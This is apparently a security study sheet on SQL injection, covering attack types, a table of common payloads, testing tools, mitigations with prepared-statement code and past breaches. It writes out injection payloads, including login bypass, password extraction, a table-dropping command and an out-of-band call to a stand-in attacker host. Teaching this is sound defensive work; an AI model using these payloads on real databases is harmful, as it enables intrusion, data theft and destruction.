# SQL Injection

**SQL Injection** occurs when **user-supplied data** is used directly in SQL queries **without proper validation or sanitization**, allowing attackers to:

* **View** unauthorized data
* **Modify** or **delete** records
* **Bypass** logins
* **Execute administrative operations**
* **In some cases: Remote Code Execution (RCE)**

# Why It Happens:

Apps build queries like: SELECT \* FROM users WHERE username = '$input';

If $input is attacker-controlled and not sanitized, they can inject SQL: ' OR 1=1 –

This changes query logic and returns **all users**.

# Impact

| Impact Type | Description |
| --- | --- |
| Authentication Bypass | Login without valid credentials |
| Sensitive Data Exposure | Read emails, passwords, card data |
| Data Tampering | Modify/delete entire tables |
| RCE via SQL Features | xp\_cmdshell, LOAD\_FILE() |
| Schema Enumeration | Extract table/column names |
| Complete DB Takeover | Often leads to privilege escalation |

# Types of SQL Injection

## 1. Classic (In-Band) SQL Injection

* Attacker sees **immediate output** in response
* Uses ' OR 1=1 --, UNION SELECT, etc.

Example: SELECT \* FROM users WHERE username = '$input';  
Input: ' OR 1=1 –

## 2. Blind SQL Injection

* No error or output — attacker deduces data via **true/false or timing**

Example (Boolean-based):

' AND 1=1 -- → returns true

' AND 1=2 -- → returns false

Example (Time-based): ' OR IF(1=1, SLEEP(5), 0) –

## 3. Error-Based SQL Injection

* Application leaks SQL error details

Input: ' OR 1=CONVERT(int, (SELECT @@version)) --

Reveals DB version in error message.

## 4. Out-of-Band SQLi

* Uses external channel (DNS, HTTP, email) to exfiltrate data

Example: SELECT LOAD\_FILE('\\\\attacker.com\\payload');

## 5. Second-Order SQLi

* Injection payload stored in DB and executed later

Example:

* Injects payload into profile → later executed on search page.

# Common SQL Injection Payloads

| Payload | Use |
| --- | --- |
| ' OR 1=1 -- | Bypass login |
| ' UNION SELECT null, version() -- | Extract DB version |
| ' AND SLEEP(5) -- | Blind (Time-based) |
| ' AND 1=CAST((SELECT password FROM users WHERE username='admin') AS INT) -- | Blind extraction |
| '; DROP TABLE users; -- | Delete table (destructive) |

# Testing

| Tool | Method |
| --- | --- |
| Burp Suite / ZAP | Manual request tampering |
| SQLMap | Auto-detects and exploits SQLi |
| Error Analysis | Look for SQL error messages |
| Fuzzing | Try ', ", --, #, /\*, ;, OR 1=1, etc. |
| Boolean & Time-based Tests | Observe differences in response or delay |

# Tools

| Tool | Description |
| --- | --- |
| SQLMap | Most powerful automated SQLi exploitation tool |
| Havij | GUI-based SQLi tool (legacy) |
| Burp Suite | Manual testing and Intruder payloads |
| NoSQLMap | For NoSQL-like MongoDB injections |
| Sqlninja / jSQL / BBQSQL | Exploit MS-SQL/Oracle/MySQL-specific injections |

# Mitigation

## 1. Use Parameterized Queries (Prepared Statements)

PHP   
$stmt = $pdo->prepare("SELECT \* FROM users WHERE username = ?");

$stmt->execute([$username]);  
  
Python  
cursor.execute("SELECT \* FROM users WHERE id = %s", (user\_id,))  
  
Java  
PreparedStatement stmt = conn.prepareStatement("SELECT \* FROM users WHERE name = ?");

stmt.setString(1, name);

## 2. Input Validation

* Validate input for **type, length, pattern**
* Reject unexpected characters (', --, ;, /\*, etc.)

## 3. Least Privilege

* Use DB accounts with minimal privileges:
  + No DROP, DELETE, UPDATE unless needed
  + No xp\_cmdshell in MSSQL

## 4. Web Application Firewall (WAF)

* Detect and block known SQLi payloads
* Use ModSecurity, Cloudflare, etc.

## 5. Error Handling

* Disable detailed SQL errors in production
* Log errors internally

## 6. ORM Caution

* Object-Relational Mappers (ORMs) **don’t guarantee protection**
* Don’t build dynamic queries in ORMs using concatenation

# Points

SQL Injection is still one of the most **exploited vulnerabilities** because of poor input handling and legacy systems.”

“The golden rule is: **never concatenate untrusted input into a query string** — always use **parameterized queries**.”

“Test for **Blind and Time-based SQLi**, especially in APIs and mobile backends.”

# Real-World Incidents

| Org | Impact |
| --- | --- |
| Sony (2011) | Full database dump via SQLi |
| TalkTalk (2015) | Massive customer data breach via SQLi |
| Heartland Payment | 100M+ card details stolen |
| HackerOne Bounties | Dozens of reports on blind and second-order SQLi |